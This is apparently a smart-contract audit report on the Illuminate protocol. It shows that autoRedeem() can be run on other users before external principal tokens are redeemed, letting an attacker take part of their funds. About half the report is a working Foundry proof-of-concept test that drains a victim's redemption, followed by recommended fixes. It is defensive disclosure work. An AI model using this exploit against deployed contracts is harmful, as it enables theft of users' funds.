Holmgren

high

# autoRedeem() is fundamentally unsafe because it's possible before redeeming external principal tokens

## Summary

`autoRedeem()`ing other users is possible before the external principal tokens have been redeemed.

## Vulnerability Detail

If any user enabled auto-redeem, an attacker can auto-redeem that user's Illuminate tokens before performing redemption of the external principal tokens. Thus auto-redemption of the honest user will happen at an artificially low valuation. A sophisticated attacker can make sure that this happens in the first block after maturity of the external principal tokens. The attacker can then redeem his own Illuminate at an increased valuation.

## Impact

For any user that enables autoRedeem, part of his redemption can be easily stolen.

## Code Snippet
The method in question: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L485

PoC, add this to `test/fork/Redeemer.t.sol`:
```solidity
    function testAutoRedeem_exploit() public {
        deployMarket(Contracts.USDC, 0);

        address user = 0x7111F9Aeb2C1b9344EC274780dc9e3806bdc60Ef;
        address attacker = address(123456);

        address illuminateToken = mp.markets(Contracts.USDC, maturity, 0);
        address yieldToken = Contracts.YIELD_TOKEN;

        uint256 attackersBalance = 1 wei;

        // starting balances
        deal(illuminateToken, user, startingBalance, true);
        // The attacker has some tiny amount of Illuminate token
        deal(illuminateToken, attacker, attackersBalance, true);
        // They both got their Illuminate by lending to YieldSpace
        deal(yieldToken, address(l), startingBalance + attackersBalance);

        vm.startPrank(address(l));
        IERC20(yieldToken).approve(address(r), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(user);
        // The user opts-in to autoRedeem()
        IERC20(Contracts.USDC).approve(address(r), startingBalance);
        vm.stopPrank();

        // Right at maturity
        vm.warp(IYieldToken(yieldToken).maturity());
        vm.startPrank(attacker);
        // The attacker auto-redeems all the users that can be auto-redeemed before anyone has redeemed the external Principal Token
        address[] memory onBehalfOf = new address[](1);
        onBehalfOf[0] = user;
        r.autoRedeem(Contracts.USDC, maturity, onBehalfOf);

        // Now that other users no longer have their Illuminate token, the
        // attacker redeems the external principal tokens
        r.redeem(2, Contracts.USDC, maturity);

        // And the attacker redeems his own Illuminate tokens
        r.redeem(Contracts.USDC, maturity);
        vm.stopPrank();

        // The honest user didn't receive any USDC
        assertEq(IERC20(Contracts.USDC).balanceOf(user), 0);
        // And has also lost all his Illuminate
        assertEq(IERC20(illuminateToken).balanceOf(user), 0);
        // The attacker has more than startingBalance of USDC, even though he
        // never owned that much Illuminate
        assertGt(IERC20(Contracts.USDC).balanceOf(attacker), startingBalance);
    }
```

## Tool used

Manual Review

## Recommendation

* Remove `autoRedeem()`, or
* At the beginning of `autoRedeem()` call the `redeem()` method for all the external principal tokens